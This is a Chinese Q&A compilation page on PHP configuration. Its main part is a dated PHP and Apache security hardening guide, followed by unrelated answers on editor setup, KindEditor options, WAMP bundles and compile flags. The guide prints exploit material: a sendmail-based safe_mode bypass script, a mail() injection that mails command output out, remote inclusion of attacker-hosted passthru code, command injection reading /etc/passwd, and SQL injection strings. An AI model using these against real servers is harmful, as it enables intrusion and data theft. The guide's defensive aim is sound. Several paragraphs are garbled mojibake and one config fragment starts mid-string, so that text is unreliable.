當前位置:首頁 » 編程語言 » php參數配置

php參數配置

發布時間: 2022-04-19 23:26:02

A. php安全配置 如何配置使其更安全

一、Web伺服器安全

PHP其實不過是Web伺服器的一個模塊功能,所以首先要保證Web伺服器的安全。當然Web伺服器要安全又必須是先保證系統安全,這樣就扯遠了,無窮無盡。PHP可以和各種Web伺服器結合,這里也只討論Apache。非常建議以chroot方式安裝啟動Apache,這樣即使Apache和PHP及其腳本出現漏洞,受影響的也只有這個禁錮的系統,不會危害實際系統。但是使用chroot的Apache後,給應用也會帶來一定的麻煩,比如連接mysql時必須用127.0.0.1地址使用tcp連接而不能用localhost實現socket連接,這在效率上會稍微差一點。還有mail函數發送郵件也是個問題,因為php.ini里的:

[mail function]
; For Win32 only.
SMTP = localhost

; For Win32 only.
sendmail_from = [email protected]

都是針對Win32平台,所以需要在chroot環境下調整好sendmail。

二、PHP本身問題

1、遠程溢出

PHP-4.1.2以下的所有版本都存在文件上傳遠程緩沖區溢出漏洞,而且攻擊程序已經廣泛流傳,成功率非常高:

http://packetstormsecurity.org/0204-exploits/7350fun
http://hsj.shadowpenguin.org/misc/php3018_exp.txt

2、遠程拒絕服務

PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST請求處理遠程漏洞,雖然不能獲得本地用戶許可權,但是也能造成拒絕服務。

3、safe_mode繞過漏洞

還有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函數繞過safe_mode限制執行命令漏洞,4.0.5版本開始mail函數增加了第五個參數,由於設計者考慮不周可以突破safe_mode的限制執行命令。其中4.0.5版本突破非常簡單,只需用分號隔開後面加shell命令就可以了,比如存在PHP腳本evil.php:

<? mail("foo@bar,"foo","bar","",$bar); ?>

執行如下的URL:

http://foo.com/evil.php?bar=;/usr/bin/id|mail [email protected]

這將id執行的結果發送給[email protected]

對於4.0.6至4.2.2的PHP突破safe_mode限制其實是利用了sendmail的-C參數,所以系統必須是使用sendmail。如下的代碼能夠突破safe_mode限制執行命令:

<?
# 注意,下面這兩個必須是不存在的,或者它們的屬主和本腳本的屬主是一樣
$script="/tmp/script123";
$cf="/tmp/cf123";

$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);

$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);

mail("nobody", "", "", "", "-C$cf");
?>

還是使用以上有問題版本PHP的用戶一定要及時升級到最新版本,這樣才能消除基本的安全問題。

三、PHP本身的安全配置

PHP的配置非常靈活,可以通過php.ini, httpd.conf, .htaccess文件(該目錄必須設置了AllowOverride All或Options)進行設置,還可以在腳本程序里使用ini_set()及其他的特定的函數進行設置。通過phpinfo()和get_cfg_var()函數可以得到配置選項的各個值。

如果配置選項是唯一PHP_INI_SYSTEM屬性的,必須通過php.ini和httpd.conf來修改,它們修改的是PHP的Master值,但修改之後必須重啟apache才能生效。其中php.ini設置的選項是對Web伺服器所有腳本生效,httpd.conf里設置的選項是對該定義的目錄下所有腳本生效。

如果還有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL屬性的選項就可以使用.htaccess文件設置,也可以通過在腳本程序自身用ini_set()函數設定,它們修改的是Local值,改了以後馬上生效。但是.htaccess只對當前目錄的腳本程序生效,ini_set()函數只對該腳本程序設置ini_set()函數以後的代碼生效。各個版本的選項屬性可能不盡相同,可以用如下命令查找當前源代碼的main.c文件得到所有的選項,以及它的屬性:

# grep PHP_INI_ /PHP_SRC/main/main.c

在討論PHP安全配置之前,應該好好了解PHP的safe_mode模式。

1、safe_mode

safe_mode是唯一PHP_INI_SYSTEM屬性,必須通過php.ini或httpd.conf來設置。要啟用safe_mode,只需修改php.ini:

safe_mode = On

或者修改httpd.conf,定義目錄:

<Directory /var/www>
Options FollowSymLinks
php_admin_value safe_mode 1
</Directory>

重啟apache後safe_mode就生效了。啟動safe_mode,會對許多PHP函數進行限制,特別是和系統相關的文件打開、命令執行等函數。
所有操作文件的函數將只能操作與腳本UID相同的文件,比如test.php腳本的內容為:

<?include("index.html")?>

幾個文件的屬性如下:

# ls -la
total 13
drwxr-xr-x 2 root root 104 Jul 20 01:25 .
drwxr-xr-x 16 root root 384 Jul 18 12:02 ..
-rw-r--r-- 1 root root 4110 Oct 26 2002 index.html
-rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php

在瀏覽器請求test.php會提示如下的錯誤信息:

Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1

如果被操作文件所在目錄的UID和腳本UID一致,那麼該文件的UID即使和腳本不同也可以訪問的,不知這是否是PHP的一個漏洞還是另有隱情。所以php腳本屬主這個用戶最好就只作這個用途,絕對禁止使用root做為php腳本的屬主,這樣就達不到safe_mode的效果了。

如果想將其放寬到GID比較,則打開 safe_mode_gid可以考慮只比較文件的GID,可以設置如下選項:

safe_mode_gid = On

設置了safe_mode以後,所有命令執行的函數將被限制只能執行php.ini里safe_mode_exec_dir指定目錄里的程序,而且shell_exec、`ls -l`這種執行命令的方式會被禁止。如果確實需要調用其它程序,可以在php.ini做如下設置:

safe_mode_exec_dir = /usr/local/php/exec

然後拷貝程序到該目錄,那麼php腳本就可以用system等函數來執行該程序。而且該目錄里的shell腳本還是可以調用其它目錄里的系統命令。

safe_mode_include_dir string
當從此目錄及其子目錄(目錄必須在 include_path 中或者用完整路徑來包含)包含文件時越過 UID/GID 檢查。

從 PHP 4.2.0 開始,本指令可以接受和 include_path 指令類似的風格用分號隔開的路徑,而不只是一個目錄。

指定的限制實際上是一個前綴,而非一個目錄名。這也就是說「safe_mode_include_dir = /dir/incl」將允許訪問「/dir/include」和「/dir/incls」,如果它們存在。如果您希望將訪問控制在一個指定的目錄,那麼請在結尾加上一個斜線,例如:「safe_mode_include_dir = /dir/incl/」。

safe_mode_allowed_env_vars string
設置某些環境變罧贍蓯喬痹詰陌踩?笨凇1局噶畎??幸桓齠漢歐指艫那白毫斜懟T詘踩?J較攏?沒е荒芨謀淠切┟?志哂性謖飫鍰峁┑那白旱幕肪潮淞俊D?杴榭魷攏?沒е荒萇柚靡?PHP_ 開頭的環境變數(例如 PHP_FOO = BAR)。

注: 如果本指令為空,PHP 將使用戶可以修改任何環境變數!

safe_mode_protected_env_vars string
本指令包含有一個逗號分隔的環境變數的列表,最終用戶不能用 putenv() 來改變這些環境變數。甚至在 safe_mode_allowed_env_vars 中設置了允許修改時也不能改變這些變數。

雖然safe_mode不是萬能的(低版本的PHP可以繞過),但還是強烈建議打開安全模式,在一定程度上能夠避免一些未知的攻擊。不過啟用safe_mode會有很多限制,可能對應用帶來影響,所以還需要調整代碼和配置才能和諧。被安全模式限制或屏蔽的函數可以參考PHP手冊。

討論完safe_mode後,下面結合程序代碼實際可能出現的問題討論如何通過對PHP伺服器端的配置來避免出現的漏洞。

2、變數濫用

PHP默認register_globals = On,對於GET, POST, Cookie, Environment, Session的變罧梢災苯幼⒉岢扇?直淞俊K?塹淖⒉崴承蚴莢ariables_order = "EGPCS"(可以通過php.ini修改),同名變數variables_order右邊的覆蓋左邊,所以變數的濫用極易造成程序的混亂。而且腳本程序員往往沒有對變數初始化的習慣,像如下的程序片斷就極易受到攻擊:

<?
//test_1.php

if ($pass == "hello")
$auth = 1;

if ($auth == 1)
echo "some important information";
else
echo "nothing";
?>

攻擊者只需用如下的請求就能繞過檢查:
http://victim/test_1.php?auth=1

這雖然是一個很弱智的錯誤,但一些著名的程序也有犯過這種錯誤,比如phpnuke的遠程文件拷貝漏洞http://www.securityfocus.com/bid/3361

PHP-4.1.0發布的時候建議關閉register_globals,並提供了7個特殊的數組變數來使用各種變數。對於從GET、POST、COOKIE等來的變數並不會直接注冊成變數,必需通過數組變數來存取。PHP-4.2.0發布的時候,php.ini默認配置就是register_globals = Off。這使得程序使用PHP自身初始化的默認值,一般為0,避免了攻擊者控制判斷變數。

解決方法:

配置文件php.ini設置register_globals = Off。

要求程序員對作為判斷的變數在程序最開始初始化一個值。

3、文件打開

極易受攻擊的代碼片斷:

<?
//test_2.php

if (!($str = readfile("$filename"))) {
echo("Could not open file: $filename<BR>\n");
exit;
}
else {
echo $str;
}
?>

由於攻擊者可以指定任意的$filename,攻擊者用如下的請求就可以看到/etc/passwd:

http://victim/test_2.php?filename=/etc/passwd

如下請求可以讀php文件本身:

http://victim/test_2.php?filename=test_2.php

PHP中文件打開函數還有fopen(), file()等,如果對文件名變數檢查不嚴就會造成伺服器重要文件被訪問讀取。

解決方法:

如非特殊需要,把php的文件操作限制在web目錄裡面。以下是修改apache配置文件httpd.conf的一個例子:

<Directory /usr/local/apache/htdocs>
php_admin_value open_basedir /usr/local/apache/htdocs
</Directory>

重啟apache後,/usr/local/apache/htdocs目錄下的PHP腳本就只能操作它自己目錄下的文件了,否則PHP就會報錯:

Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx.

使用safe_mode模式也能避免這種問題,前面已經討論過了。

4、包含文件

極易受攻擊的代碼片斷:

<?
//test_3.php

if(file_exists($filename))
include("$filename");
?>

這種不負責任的代碼會造成相當大的危害,攻擊者用如下請求可以得到/etc/passwd文件:

http://victim/test_3.php?filename=/etc/passwd

如果對於Unix版的PHP(Win版的PHP不支持遠程打開文件)攻擊者可以在自己開了http或ftp服務的機器上建立一個包含shell命令的文件,http://attack/attack.txt的內容是<?passthru("ls /etc")?>,那麼如下的請求就可以在目標主機執行命令ls /etc:

http://victim/test_3.php?filename=http://attack/attack.txt

攻擊者甚至可以通過包含apache的日誌文件access.log和error.log來得到執行命令的代碼,不過由於干擾信息太多,有時不易成功。
對於另外一種形式,如下代碼片斷:

<?
//test_4.php

include("$lib/config.php");
?>

攻擊者可以在自己的主機建立一個包含執行命令代碼的config.php文件,然後用如下請求也可以在目標主機執行命令:

http://victim/test_4.php?lib=http://attack

PHP的包含函數有include(), include_once(), require(), require_once。如果對包含文件名變數檢查不嚴就會對系統造成嚴重危險,可以遠程執行命令。

解決方法:

要求程序員包含文件里的參數盡量不要使用變數,如果使用變數,就一定要嚴格檢查要包含的文件名,絕對不能由用戶任意指定。

如前面文件打開中限制PHP操作路徑是一個必要的選項。另外,如非特殊需要,一定要關閉PHP的遠程文件打開功能。修改php.ini文件:

allow_url_fopen = Off

重啟apache。

5、文件上傳

php的文件上傳機制是把用戶上傳的文件保存在php.ini的upload_tmp_dir定義的臨時目錄(默認是系統的臨時目錄,如:/tmp)里的一個類似phpxXuoXG的隨機臨時文件,程序執行結束,該臨時文件也被刪除。PHP給上傳的文件定義了四個變數:(如form變數名是file,而且register_globals打開)

$file #就是保存到伺服器端的臨時文件(如/tmp/phpxXuoXG )
$file_size #上傳文件的大小
$file_name #上傳文件的原始名稱
$file_type #上傳文件的類型

推薦使用:

$HTTP_POST_FILES[file][tmp_name]
$HTTP_POST_FILES[file][size]
$HTTP_POST_FILES[file][name]
$HTTP_POST_FILES[file][type]

這是一個最簡單的文件上傳代碼:

<?
//test_5.php

if(isset($upload) && $file != "none") {
($file, "/usr/local/apache/htdocs/upload/".$file_name);
echo "文件".$file_name."上傳成功!點擊<a href=\"$PHP_SELF\">繼續上傳</a>";
exit;
}
?>
<html>
<head>
<title>文件上傳</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body bgcolor="#FFFFFF">
<form enctype="multipart/form-data" method="post">
上傳文件:
<input type="file" name="file" size="30">
<input type="submit" name="upload" value="上傳">
</form>
</body>
</html>

這樣的上傳代碼存在讀取任意文件和執行命令的重大問題。
下面的請求可以把/etc/passwd文檔拷貝到web目錄/usr/local/apache/htdocs/test(注意:這個目錄必須nobody可寫)下的attack.txt文件里:

http://victim/test_5.php?upload= ... ile_name=attack.txt

然後可以用如下請求讀取口令文件:

http://victim/test/attack.txt

攻擊者可以把php文件拷貝成其它擴展名,泄漏腳本源代碼。
攻擊者可以自定義form里file_name變數的值,上傳覆蓋任意有寫許可權的文件。
攻擊者還可以上傳PHP腳本執行主機的命令。

解決方法:

PHP-4.0.3以後提供了is_uploaded_file和move_uploaded_file函數,可以檢查操作的文件是否是用戶上傳的文件,從而避免把系統文件拷貝到web目錄。
使用$HTTP_POST_FILES數組來讀取用戶上傳的文件變數。
嚴格檢查上傳變數。比如不允許是php腳本文件。

把PHP腳本操作限制在web目錄可以避免程序員使用函數把系統文件拷貝到web目錄。move_uploaded_file不受open_basedir的限制,所以不必修改php.ini里upload_tmp_dir的值。
把PHP腳本用phpencode進行加密,避免由於操作泄漏源碼
嚴格配置文件和目錄的許可權,只允許上傳的目錄能夠讓nobody用戶可寫。
對於上傳目錄去掉PHP解釋功能,可以通過修改httpd.conf實現:

<Directory /usr/local/apache/htdocs/upload>
php_flag engine off
#如果是php3換成php3_engine off
</Directory>

重啟apache,upload目錄的php文件就不能被apache解釋了,即使上傳了php文件也沒有問題,只能直接顯示源碼。

6、命令執行

下面的代碼片斷是從PHPNetToolpack摘出,詳細的描述見:

http://www.securityfocus.com/bid/4303

<?
//test_6.php

system("traceroute $a_query",$ret_strs);
?>

由於程序沒有過濾$a_query變數,所以攻擊者可以用分號來追加執行命令。

攻擊者輸入如下請求可以執行cat /etc/passwd命令:

http://victim/test_6.php?a_query=www.example.com;cat /etc/passwd

PHP的命令執行函數還有system(), passthru(), popen()和``等。命令執行函數非常危險,慎用。如果要使用一定要嚴格檢查用戶輸入。

解決方法:

要求程序員使用escapeshellcmd()函數過濾用戶輸入的shell命令。

啟用safe_mode可以杜絕很多執行命令的問題,不過要注意PHP的版本一定要是最新的,小於PHP-4.2.2的都可能繞過safe_mode的限制去執行命令。

7、sql_inject

如下的SQL語句如果未對變數進行處理就會存在問題:

select * from login where user=$user and pass=$pass

攻擊者可以用戶名和口令都輸入1 or 1=1繞過驗證。

不過幸虧PHP有一個默認的選項magic_quotes_gpc = On,該選項使得從GET, POST, COOKIE來的變數自動加了addslashes()操作。上面SQL語句變成了:

select * from login where user=1\ or 1=\1 and pass=1\ or 1=\1

從而避免了此類sql_inject攻擊。

對於數字類型的欄位,很多程序員會這樣寫:

select * from test where id=$id

由於變數沒有用單引號擴起來,就會造成sql_inject攻擊。幸虧MySQL功能簡單,沒有sqlserver等資料庫有執行命令的SQL語句,而且PHP的mysql_query()函數也只允許執行一條SQL語句,所以用分號隔開多條SQL語句的攻擊也不能奏效。但是攻擊者起碼還可以讓查詢語句出錯,泄漏系統的一些信息,或者一些意想不到的情況。

解決方法:

要求程序員對所有用戶提交的要放到SQL語句的變數進行過濾。
即使是數字類型的欄位,變數也要用單引號擴起來,MySQL自己會把字串處理成數字。
在MySQL里不要給PHP程序高級別許可權的用戶,只允許對自己的庫進行操作,這也避免了程序出現問題被 SELECT INTO OUTFILE ... 這種攻擊。

8、警告及錯誤信息

PHP默認顯示所有的警告及錯誤信息:

error_reporting = E_ALL & ~E_NOTICE
display_errors = On

在平時開發調試時這非常有用,可以根據警告信息馬上找到程序錯誤所在。
正式應用時,警告及錯誤信息讓用戶不知所措,而且給攻擊者泄漏了腳本所在的物理路徑,為攻擊者的進一步攻擊提供了有利的信息。而且由於自己沒有訪問到錯誤的地方,反而不能及時修改程序的錯誤。所以把PHP的所有警告及錯誤信息記錄到一個日誌文件是非常明智的,即不給攻擊者泄漏物理路徑,又能讓自己知道程序錯誤所在。

修改php.ini中關於Error handling and logging部分內容:

error_reporting = E_ALL
display_errors = Off
log_errors = On
error_log = /usr/local/apache/logs/php_error.log

然後重啟apache,注意文件/usr/local/apache/logs/php_error.log必需可以讓nobody用戶可寫。

9、disable_functions

如果覺得有些函數還有威脅,可以設置php.ini里的disable_functions(這個選項不能在httpd.conf里設置),比如:

disable_functions = phpinfo, get_cfg_var

可以指定多個函數,用逗號分開。重啟apache後,phpinfo, get_cfg_var函數都被禁止了。建議關閉函數phpinfo, get_cfg_var,這兩個函數容易泄漏伺服器信息,而且沒有實際用處。

10、disable_classes

這個選項是從PHP-4.3.2開始才有的,它可以禁用某些類,如果有多個用逗號分隔類名。disable_classes也不能在httpd.conf里設置,只能在php.ini配置文件里修改。

11、open_basedir

前面分析常式的時候也多次提到用open_basedir對腳本操作路徑進行限制,這里再介紹一下它的特性。用open_basedir指定的限制實際上是前綴,不是目錄名。也就是說 "open_basedir = /dir/incl" 也會允許訪問 "/dir/include" 和 "/dir/incls",如果它們存在的話。如果要將訪問限制在僅為指定的目錄,用斜線結束路徑名。例如:"open_basedir = /dir/incl/"。
可以設置多個目錄,在Windows中,用分號分隔目錄。在任何其它系統中用冒號分隔目錄。作為Apache模塊時,父目錄中的open_basedir路徑自動被繼承。

四、其它安全配置

1、取消其它用戶對常用、重要系統命令的讀寫執行許可權

一般管理員維護只需一個普通用戶和管理用戶,除了這兩個用戶,給其它用戶能夠執行和訪問的東西應該越少越好,所以取消其它用戶對常用、重要系統命令的讀寫執行許可權能在程序或者服務出現漏洞的時候給攻擊者帶來很大的迷惑。記住一定要連讀的許可權也去掉,否則在linux下可以用/lib/ld-linux.so.2 /bin/ls這種方式來執行。
如果要取消某程如果是在chroot環境里,這個工作比較容易實現,否則,這項工作還是有些挑戰的。因為取消一些程序的執行許可權會導致一些服務運行不正常。PHP的mail函數需要/bin/sh去調用sendmail發信,所以/bin/bash的執行許可權不能去掉。這是一項比較累人的工作,

2、去掉apache日誌其它用戶的讀許可權

apache的access-log給一些出現本地包含漏洞的程序提供了方便之門。通過提交包含PHP代碼的URL,可以使access-log包含PHP代碼,那麼把包含文件指向access-log就可以執行那些PHP代碼,從而獲得本地訪問許可權。
如果有其它虛擬主機,也應該相應去掉該日誌文件其它用戶的讀許可權。

當然,如果你按照前面介紹的配置PHP那麼一般已經是無法讀取日誌文件了。

B. 如何配置PHP開發環境

editplus是一款小巧但功能強大易擴展的文本編輯器,可以通過設置用戶工具將其作為C,java,Php等等語言的一個簡單的IDE。
工具/原料
EditPlus v3.3.1
php 5.3.14
方法/步驟
1.打開editplus
2.點擊菜單欄「工具」
3.選擇下拉菜單的「配置用戶工具」,進入配置頁面。

1.點擊"添加工具"
2.選擇"應用程序"
在下面的輸入框中輸入
菜單文字:php
命令:<你本機php安裝目錄>\php.exe (例:D:\Program Files\PHP\php.exe)
參數:$(FilePath)
初始目錄 :$(FileDir)
動作選」捕捉輸出「
完成上述步驟後在d盤新建一個文件 hello.php
輸入代碼
<?php
echo "Hello,World!";
?>

1.點擊"工具"---"php" ,我自己配置的快捷鍵是ctrl + 2,你也可以自由設置。
2.在下方輸出框查看運行結果,顯示hello,world

到此,整個php 編譯環境配置完畢。

C. PHP修改配置文件參數

uaijiuqiji.gicp.net";

// 資料庫用戶名 (註:不能含有 " ' $ \ 這四個符號)
$dbuser = "sa";

// 資料庫密碼 (註:不能含有 " ' $ \ 這四個符號)
$dbpw = "123456";

// 資料庫名
$dbname = "muonline";

把上面雙引號裡面的4個參數改成你自己的資料庫參數

D. config.php參數配置

一般情況下,填寫Localhost就可以,當然如果資料庫的埠不是3306你需要加上埠號,如6603,就需要寫 localhost:6603 ,

另外,這個文件是直接生成的,安裝時候會自動寫入,只需要填寫好資料庫資料就可以.

E. kindeditor 編輯器php的詳細配置方法

通過使用KE.show(config)方法即可將編輯器添加到文檔中。下面是一段源碼:
KE.show = function(args) {
KE.init(args);
KE.event.ready(function() { KE.create(args.id); });
};
從源碼中可以看出,有兩種使用編輯器的方法:
法一:KE.show(config);
法二:KE.init(config);KE.create(id);

·無論使用哪種方式使用KindEditor編輯器,都必須進行參數配置;
·可以在KE.show()和KE.init()方法中傳遞配置參數config;
·配置參數config是一個對象,一般使用字面量對象;
·其中,id參數是唯一必須進行配置的,其他參數可以省略。

參數設置例子
KE.show({
id : "content_1",
width : "70%", //編輯器的寬度為70%
height : "200px", //編輯器的高度為100px
filterMode : false, //不會過濾HTML代碼
resizeMode : 1 //編輯器只能調整高度
});

配置參數
1、id
TEXTAREA輸入框的ID,必須設置。
數據類型:String

2、items
配置編輯器的工具欄,其中"-"表示換行,"|"表示分隔符。
數據類型:Array
默認值:
['source', '|', 'fullscreen', 'undo', 'redo', 'print', 'cut', '', 'paste',
'plainpaste', 'wordpaste', '|', 'justifyleft', 'justifycenter', 'justifyright',
'justifyfull', 'insertorderedlist', 'insertunorderedlist', 'indent', 'outdent', 'subscript',
'superscript', '|', 'selectall', '-',
'title', 'fontname', 'fontsize', '|', 'textcolor', 'bgcolor', 'bold',
'italic', 'underline', 'strikethrough', 'removeformat', '|', 'image',
'flash', 'media', 'advtable', 'hr', 'emoticons', 'link', 'unlink', '|', 'about']

3、width
編輯器的寬度,可以設置px或%,比TEXTAREA輸入框樣式表寬度優先度高。
數據類型:String
默認值:TEXTAREA輸入框的寬度
注: 3.2版本開始支持。

4、height
編輯器的高度,只能設置px,比TEXTAREA輸入框樣式表高度優先度高。
數據類型:String
默認值:TEXTAREA輸入框的高度
注: 3.2版本開始支持。

5、minWidth
數據類型:Int
指定編輯器最小寬度,單位為px。
默認值:200

6、minHeight
數據類型:Int
指定編輯器最小高度,單位為px。
默認值:100

7、filterMode
數據類型:Boolean
true時過濾HTML代碼,false時允許輸入任何代碼。
默認值:false
注: 3.4以前版本的filterMode默認值為true。

8、htmlTags
指定要保留的HTML標記和屬性。哈希數組的key為HTML標簽名,value為HTML屬性數組,"."開始的屬性表示style屬性。
數據類型:Object
默認值:
{
font : ['color', 'size', 'face', '.background-color'],
span : ['style'],
div : ['class', 'align', 'style'],
table:['class', 'border', 'cellspacing', 'cellpadding', 'width', 'height', 'align', 'style'],
'td,th':['class', 'align', 'valign', 'width', 'height',
'colspan', 'rowspan', 'bgcolor', 'style'],
a : ['class', 'href', 'target', 'name', 'style'],
embed : ['src', 'width', 'height', 'type', 'loop', 'autostart', 'quality',
'style', 'align', 'allowscriptaccess', '/'],
img : ['src', 'width', 'height', 'border', 'alt', 'title', 'align', 'style', '/'],
hr : ['class', '/'],
br : ['/'],
'p,ol,ul,li,blockquote,h1,h2,h3,h4,h5,h6' : ['align', 'style'],
'tbody,tr,strong,b,sub,sup,em,i,u,strike' : []
}
註:filterMode為true時有效。3.4版本開始屬性可設置style,保留所有inline樣式。

9、resizeMode
2或1或0,2時可以拖動改變寬度和高度,1時只能改變高度,0時不能拖動。
數據類型:Int
默認值:2

10、skinType
風格類型,default或tinymce。
數據類型:String
默認值:default
註:3.4以前版本和3.4.1版本開始默認值為default,3.4版本的默認值為oxygen。

11、wyswygMode
可視化模式或代碼模式
數據類型:Boolean
默認值:true

12、cssPath
指定編輯器iframe document的CSS,用於設置可視化區域的樣式。
數據類型:String或Array
默認值:空
註:3.4.1版本開始可指定多個CSS文件。例如:cssPath : ['a.css', 'b.css']

13、skinsPath
指定編輯器的skins目錄,skins目錄存放風格的css文件和gif圖片。
數據類型:String
默認值:KE.scriptPath + 'skins/'

14、pluginsPath
指定編輯器的plugins目錄。
數據類型:String
默認值:KE.scriptPath + 'plugins/'

15、minChangeSize
undo/redo文字輸入最小變化長度,當輸入的文字變化小於這個長度時不會添加到undo堆棧里。
數據類型:Int
默認值:5

16、loadStyleMode
true時自動載入編輯器的CSS。
數據類型:Boolean
默認值:true
注: 3.4版本開始支持。

17、urlType
改變站內本地URL,可設置空、relative、absolute、domain。
空為不修改URL,relative為相對路徑,absolute為絕對路徑,domain為帶域名的絕對路徑。
數據類型:String
默認值:空
注: 3.4版本開始支持,3.4.1版本開始默認值為空。

18、newlineTag
設置回車換行標簽,可設置p、br。
數據類型:String
默認值:br
注: 3.4版本開始支持。

19、afterCreate
設置編輯器創建後執行的回調函數。
數據類型:Function
默認值:無

20、afterDialogCreate
設置彈出浮動框創建後執行的回調函數。
數據類型:Function
默認值:無
注: 3.4.3版本開始支持。

21、allowUpload
true或false,true時顯示上傳圖片標簽。
數據類型:Boolean
默認值:true
注: 3.4版本開始支持。

22、allowFileManager
true或false,true時顯示瀏覽伺服器圖片功能。
數據類型:Boolean
默認值:false
注: 3.4版本開始支持。

23、referMethod
設置referMethod後上傳圖片的POST參數里有referMethod。
數據類型:String
默認值:空
注: 3.4版本開始支持。

24、dialogAlignType
設置彈出框(dialog)的對齊類型,可設置page和空。
指定page時按當前頁面居中,指定空時按編輯器居中。
數據類型:String
默認值:page
注: 3.4.1版本開始支持。

25、imageUploadJson
指定上傳圖片的伺服器端程序。
數據類型:String
默認值:../../php/upload_json.php
注: 3.4.1版本開始支持。

26、fileManagerJson
指定瀏覽遠程圖片的伺服器端程序。
數據類型:String
默認值:../../php/file_manager_json.php
注: 3.4.1版本開始支持。

27、autoSetDataMode
true或false。
true時自動將編輯器內容設置到原來的textarea,也就是每次輸入內容就執行KE.util.setData函數。
數據類型:Boolean
默認值:true
注: 3.5版本開始支持。打開autoSetDataMode模式後會降低輸入性能,理想的做法是關閉autoSetDataMode,提交數據前執行KE.util.setData。

28、afterSetData
自動執行KE.util.setData後執行的回調函數,autoSetDataMode為true時有效。
數據類型:Function
默認值:無
注: 3.5版本開始支持。

29、shadowMode
true或false,true時彈出層顯示陰影。
數據類型:Boolean
默認值:true
注: 3.5版本開始支持。

30、allowPreviewEmoticons
true或false,true時滑鼠放在表情上可以預覽表情。
數據類型:Boolean
默認值:true
注: 3.5版本開始支持。

F. 初學php,環境怎麼配置希望有經驗的人給予詳細解答····不勝感激

如果是初學者,建議安裝PHP的集成軟體,可以一次性安裝所需要的PHP運行環境,以下是詳細介紹:

目前有不少AMP(Apache\MySQL\PHP)的集成軟體,可以讓我們一次安裝並設置好。這對於不熟悉AMP的用戶來說,好處多多。
一、使用AMP集成軟體的優點:
1、可避免由於缺乏AMP的知識,而無法正確設置環境;
2、可快速安裝並設置好AMP環境,讓我們直接開始真正感興趣的軟體,如xoops;
3、可方便的搭建測試環境,對於測試「是AMP環境問題,還是XOOPS造成的問題」很有幫助,採用排除法即可。
二、目前主要的WAMP集成環境主要有:
1、WampServer Wamp就是Windows Apache Mysql PHP集成安裝環境,即在window下的apache、php和mysql的伺服器軟體。PHP擴展、Apache模塊,開啟/關閉滑鼠點點就搞定,再也不用親自去修改配置文件了,WAMP它會去做。再也不用到處詢問php的安裝問題了,WAMP一切都搞定了,這個軟體在win平台上使用的較多。
2、XAMPP
XAMPP是一款具有中文說明的功能全面的集成環境,XAMPP並不僅僅針對Windows,而是一個適用於Linux、Windows、Mac OS X 和Solaris 的易於安裝的Apache 發行版。軟體包中包含Apache 伺服器、MySQL、SQLite、PHP、Perl、FileZilla FTP Server、Tomcat等等。默認安裝開放了所有功能,安全性有問題,需要進行額外的安全設定。
3、AppServ
集成了Apache、PHP、MySQL、phpMyAdmin,較為輕量,版本很久未更新了。
總的來說,以上幾種WAMP環境基本上都可以滿足初學者配置WAMP環境的需要,像XAMPP和AppServ各種組件比較全,但也會覺得文件組成比較復雜,初學者一下子也看不明白,像Digast Wamp Server由於是全新配置的集成環境,程序文件配置比較嚴謹,環境程序大小也適中,而且可以自定義任意目錄,系統會自動進行參數配置,特別適合初學者使用。

G. linux下安裝php編譯參數

在Linux下安裝PHP,源代碼方式安裝,總需要配置很多參數。這里列出常用配置參數,並詳細用中文解釋說明了。給大家一些參考./configure
--prefix=/usr/local/php
php
安裝目錄
--with-apxs2=/usr/local/apache/bin/apxs
--with-config-file-path=/usr/local/php/etc
指定php.ini位置
--with-MySQL=/usr/local/mysql
mysql安裝目錄,對mysql的支持
--with-mysqli=/usr/local/mysql/bin/mysql_config
mysqli文件目錄,優化支持
--enable-safe-mode
打開安全模式
--enable-ftp
打開ftp的支持
--enable-zip
打開對zip的支持
--with-bz2
打開對bz2文件的支持
--with-jpeg-dir
打開對jpeg圖片的支持
--with-png-dir
打開對png圖片的支持
--with-freetype-dir
打開對freetype字體庫的支持
--without-iconv
關閉iconv函數,種字元集間的轉換
--with-libXML-dir
打開libxml2庫的支持
--with-xmlrpc
打開xml-rpc的c語言
--with-zlib-dir
打開zlib庫的支持
--with-gd
打開gd庫的支持
--enable-gd-native-ttf
支持TrueType字元串函數庫
--with-curl
打開curl瀏覽工具的支持
--with-curlwrappers
運用curl工具打開url流
--with-ttf
打開freetype1.*的支持,可以不加了
--with-xsl
打開XSLT
文件支持,擴展了libxml2庫
,需要libxslt軟體
--with-gettext
打開gnu
的gettext
支持,編碼庫用到
--with-pear
打開pear命令的支持,php擴展用的
--enable-calendar
打開日歷擴展功能
--enable-mbstring
多位元組,字元串的支持
--enable-bcmath
打開圖片大小調整,用到zabbix監控的時候用到了這個模塊
--enable-sockets
打開
sockets
支持
--enable-exif
圖片的元數據支持
--enable-magic-quotes
魔術引用的支持
--disable-rpath
關閉額外的運行庫文件
--disable-debug
關閉調試模式
--with-mime-magic=/usr/share/file/magic.mime
魔術頭文件位置
CGI方式安裝才用的參數
--enable-fpm
打上php-fpm
補丁後才有這個參數,cgi方式安裝的啟動程序
--enable-fastcgi
支持fastcgi方式啟動php
--enable-force-cgi-redirect
同上
,幫助里沒有解釋
--with-ncurses
支持ncurses
屏幕繪制以及基於文本終端的圖形互動功能的動態庫
--enable-pcntl
freeTDS需要用到的,可能是鏈接mssql
才用到
mhash和mcrypt演算法的擴展
--with-mcrypt
演算法
--with-mhash
演算法
--with-gmp
--enable-inline-optimization
--with-openssl
openssl的支持,加密傳輸時用到的
--enable-dbase
--with-pcre-dir=/usr/local/bin/pcre-config
perl的正則庫案安裝位置
--disable-dmalloc
--with-gdbm
dba的gdbm支持
--enable-sigchild
--enable-sysvsem
--enable-sysvshm
--enable-zend-multibyte
支持zend的多位元組
--enable-mbregex
--enable-wddx
--enable-shmop
--enable-soap

H. php網站中全局參數怎麼設置

保存到資料庫中,然後CACHE到PHP文件里

I. 在php.ini中如何配置安全的PHP環境參數

(1) 打開php的安全模式
